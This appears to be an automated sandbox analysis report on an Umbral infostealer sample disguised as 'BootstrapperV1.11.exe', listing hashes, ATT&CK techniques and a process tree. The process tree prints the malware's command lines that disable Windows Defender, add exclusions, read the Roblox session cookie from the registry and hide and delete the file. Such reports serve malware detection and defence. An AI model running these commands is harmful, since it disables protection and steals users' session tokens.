umbral | 2133a2c5f4a04d8ffe1ea436d035917ad16c50fa011b021c95c71f2660e67033

Analysis

max time kernel
96s
max time network
128s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
03-08-2024 11:04

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General

Target

BootstrapperV1.11.exe
Size

229KB
MD5

224b37147484176752b12af33b9efd96
SHA1

d2fbb87ff49e0e80e8585b449fac349688d02f23
SHA256

2133a2c5f4a04d8ffe1ea436d035917ad16c50fa011b021c95c71f2660e67033
SHA512

e374e69dad1b3ad39887163e6c8cd07a88e36b167b91b0eeb8a5296f7345ea4c97e6e8e009193b321524f5326118900933e4657b0177b702036525d42c508704
SSDEEP

6144:9loZM+rIkd8g+EtXHkv/iD4lePZsyVtG/TOMdRYz7b8e1m4i:foZtL+EP8lePZsyVtG/TOMdRYDu

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/3096-0-0x000001E113920000-0x000001E113960000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4340	powershell.exe
5052	powershell.exe
4768	powershell.exe
3404	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	BootstrapperV1.11.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
22	discord.com
23	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4712	cmd.exe
4780	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4776	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4780	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
3096	BootstrapperV1.11.exe
4340	powershell.exe
4340	powershell.exe
5052	powershell.exe
5052	powershell.exe
4768	powershell.exe
4768	powershell.exe
3508	powershell.exe
3508	powershell.exe
3404	powershell.exe
3404	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3096	BootstrapperV1.11.exe
Token: SeIncreaseQuotaPrivilege	264	wmic.exe
Token: SeSecurityPrivilege	264	wmic.exe
Token: SeTakeOwnershipPrivilege	264	wmic.exe
Token: SeLoadDriverPrivilege	264	wmic.exe
Token: SeSystemProfilePrivilege	264	wmic.exe
Token: SeSystemtimePrivilege	264	wmic.exe
Token: SeProfSingleProcessPrivilege	264	wmic.exe
Token: SeIncBasePriorityPrivilege	264	wmic.exe
Token: SeCreatePagefilePrivilege	264	wmic.exe
Token: SeBackupPrivilege	264	wmic.exe
Token: SeRestorePrivilege	264	wmic.exe
Token: SeShutdownPrivilege	264	wmic.exe
Token: SeDebugPrivilege	264	wmic.exe
Token: SeSystemEnvironmentPrivilege	264	wmic.exe
Token: SeRemoteShutdownPrivilege	264	wmic.exe
Token: SeUndockPrivilege	264	wmic.exe
Token: SeManageVolumePrivilege	264	wmic.exe
Token: 33	264	wmic.exe
Token: 34	264	wmic.exe
Token: 35	264	wmic.exe
Token: 36	264	wmic.exe
Token: SeIncreaseQuotaPrivilege	264	wmic.exe
Token: SeSecurityPrivilege	264	wmic.exe
Token: SeTakeOwnershipPrivilege	264	wmic.exe
Token: SeLoadDriverPrivilege	264	wmic.exe
Token: SeSystemProfilePrivilege	264	wmic.exe
Token: SeSystemtimePrivilege	264	wmic.exe
Token: SeProfSingleProcessPrivilege	264	wmic.exe
Token: SeIncBasePriorityPrivilege	264	wmic.exe
Token: SeCreatePagefilePrivilege	264	wmic.exe
Token: SeBackupPrivilege	264	wmic.exe
Token: SeRestorePrivilege	264	wmic.exe
Token: SeShutdownPrivilege	264	wmic.exe
Token: SeDebugPrivilege	264	wmic.exe
Token: SeSystemEnvironmentPrivilege	264	wmic.exe
Token: SeRemoteShutdownPrivilege	264	wmic.exe
Token: SeUndockPrivilege	264	wmic.exe
Token: SeManageVolumePrivilege	264	wmic.exe
Token: 33	264	wmic.exe
Token: 34	264	wmic.exe
Token: 35	264	wmic.exe
Token: 36	264	wmic.exe
Token: SeDebugPrivilege	4340	powershell.exe
Token: SeDebugPrivilege	5052	powershell.exe
Token: SeDebugPrivilege	4768	powershell.exe
Token: SeDebugPrivilege	3508	powershell.exe
Token: SeIncreaseQuotaPrivilege	4292	wmic.exe
Token: SeSecurityPrivilege	4292	wmic.exe
Token: SeTakeOwnershipPrivilege	4292	wmic.exe
Token: SeLoadDriverPrivilege	4292	wmic.exe
Token: SeSystemProfilePrivilege	4292	wmic.exe
Token: SeSystemtimePrivilege	4292	wmic.exe
Token: SeProfSingleProcessPrivilege	4292	wmic.exe
Token: SeIncBasePriorityPrivilege	4292	wmic.exe
Token: SeCreatePagefilePrivilege	4292	wmic.exe
Token: SeBackupPrivilege	4292	wmic.exe
Token: SeRestorePrivilege	4292	wmic.exe
Token: SeShutdownPrivilege	4292	wmic.exe
Token: SeDebugPrivilege	4292	wmic.exe
Token: SeSystemEnvironmentPrivilege	4292	wmic.exe
Token: SeRemoteShutdownPrivilege	4292	wmic.exe
Token: SeUndockPrivilege	4292	wmic.exe
Token: SeManageVolumePrivilege	4292	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 3096 wrote to memory of 264	3096	BootstrapperV1.11.exe	85
PID 3096 wrote to memory of 264	3096	BootstrapperV1.11.exe	85
PID 3096 wrote to memory of 2812	3096	BootstrapperV1.11.exe	89
PID 3096 wrote to memory of 2812	3096	BootstrapperV1.11.exe	89
PID 3096 wrote to memory of 4340	3096	BootstrapperV1.11.exe	91
PID 3096 wrote to memory of 4340	3096	BootstrapperV1.11.exe	91
PID 3096 wrote to memory of 5052	3096	BootstrapperV1.11.exe	93
PID 3096 wrote to memory of 5052	3096	BootstrapperV1.11.exe	93
PID 3096 wrote to memory of 4768	3096	BootstrapperV1.11.exe	95
PID 3096 wrote to memory of 4768	3096	BootstrapperV1.11.exe	95
PID 3096 wrote to memory of 3508	3096	BootstrapperV1.11.exe	97
PID 3096 wrote to memory of 3508	3096	BootstrapperV1.11.exe	97
PID 3096 wrote to memory of 4292	3096	BootstrapperV1.11.exe	100
PID 3096 wrote to memory of 4292	3096	BootstrapperV1.11.exe	100
PID 3096 wrote to memory of 1276	3096	BootstrapperV1.11.exe	102
PID 3096 wrote to memory of 1276	3096	BootstrapperV1.11.exe	102
PID 3096 wrote to memory of 2568	3096	BootstrapperV1.11.exe	104
PID 3096 wrote to memory of 2568	3096	BootstrapperV1.11.exe	104
PID 3096 wrote to memory of 3404	3096	BootstrapperV1.11.exe	106
PID 3096 wrote to memory of 3404	3096	BootstrapperV1.11.exe	106
PID 3096 wrote to memory of 4776	3096	BootstrapperV1.11.exe	108
PID 3096 wrote to memory of 4776	3096	BootstrapperV1.11.exe	108
PID 3096 wrote to memory of 4712	3096	BootstrapperV1.11.exe	110
PID 3096 wrote to memory of 4712	3096	BootstrapperV1.11.exe	110
PID 4712 wrote to memory of 4780	4712	cmd.exe	112
PID 4712 wrote to memory of 4780	4712	cmd.exe	112

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2812	attrib.exe

C:\Users\Admin\AppData\Local\Temp\BootstrapperV1.11.exe
"C:\Users\Admin\AppData\Local\Temp\BootstrapperV1.11.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3096
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:264
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\BootstrapperV1.11.exe"
  2⤵
  - Views/modifies file attributes
  PID:2812
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\BootstrapperV1.11.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4340
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5052
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4768
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3508
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4292
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:1276
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:2568
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3404
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:4776
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\BootstrapperV1.11.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:4712
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4780

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1948

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
f4bf3ca8753d6bb9725419fec1ec74b9

SHA1
71fce9d17d1d92873236a9a827c52eb9e4827f3d

SHA256
ca8697e4ada4c3d4aac2899b8aad4052ccd605fccee05ee0a831368bde2f7417

SHA512
a55a107ae8bcf833ea674413c765cd55096146c9634dff41884fcc851c12fe47753308099525c99ae44883facfb668c8b292dd915263f34ebd1190391cb28a54

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
548dd08570d121a65e82abb7171cae1c

SHA1
1a1b5084b3a78f3acd0d811cc79dbcac121217ab

SHA256
cdf17b8532ebcebac3cfe23954a30aa32edd268d040da79c82687e4ccb044adc

SHA512
37b98b09178b51eec9599af90d027d2f1028202efc1633047e16e41f1a95610984af5620baac07db085ccfcb96942aafffad17aa1f44f63233e83869dc9f697b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
eeb6ad386d143f278077171fc01a81e8

SHA1
43cff1bd7240965bfb2f10e47c0cec0f94332e2d

SHA256
59d62f9472b4c00b7cae0ee702789fa2b0042c468e4de9421d2430f9973eb00d

SHA512
b40f003e6d97adaaf05809f06d12df01984943d9eb6c44eaeffef90df8de0040373150c9714b11a42db5189b7064eeed0609a39f6f1feb91b05dd1835333e8f2

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_u25kdua5.may.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3096-88-0x00007FF8739C0000-0x00007FF874481000-memory.dmp

Filesize
10.8MB

Download
memory/3096-70-0x000001E12E020000-0x000001E12E032000-memory.dmp

Filesize
72KB

Download
memory/3096-1-0x00007FF8739C3000-0x00007FF8739C5000-memory.dmp

Filesize
8KB

Download
memory/3096-69-0x000001E1156E0000-0x000001E1156EA000-memory.dmp

Filesize
40KB

Download
memory/3096-2-0x00007FF8739C0000-0x00007FF874481000-memory.dmp

Filesize
10.8MB

Download
memory/3096-31-0x000001E12E0A0000-0x000001E12E116000-memory.dmp

Filesize
472KB

Download
memory/3096-32-0x000001E12E120000-0x000001E12E170000-memory.dmp

Filesize
320KB

Download
memory/3096-33-0x000001E12E060000-0x000001E12E07E000-memory.dmp

Filesize
120KB

Download
memory/3096-0-0x000001E113920000-0x000001E113960000-memory.dmp

Filesize
256KB

Download
memory/4340-4-0x00007FF8739C0000-0x00007FF874481000-memory.dmp

Filesize
10.8MB

Download
memory/4340-17-0x00007FF8739C0000-0x00007FF874481000-memory.dmp

Filesize
10.8MB

Download
memory/4340-15-0x000001C24D060000-0x000001C24D082000-memory.dmp

Filesize
136KB

Download
memory/4340-5-0x00007FF8739C0000-0x00007FF874481000-memory.dmp

Filesize
10.8MB

Download
memory/4340-3-0x00007FF8739C0000-0x00007FF874481000-memory.dmp

Filesize
10.8MB

Download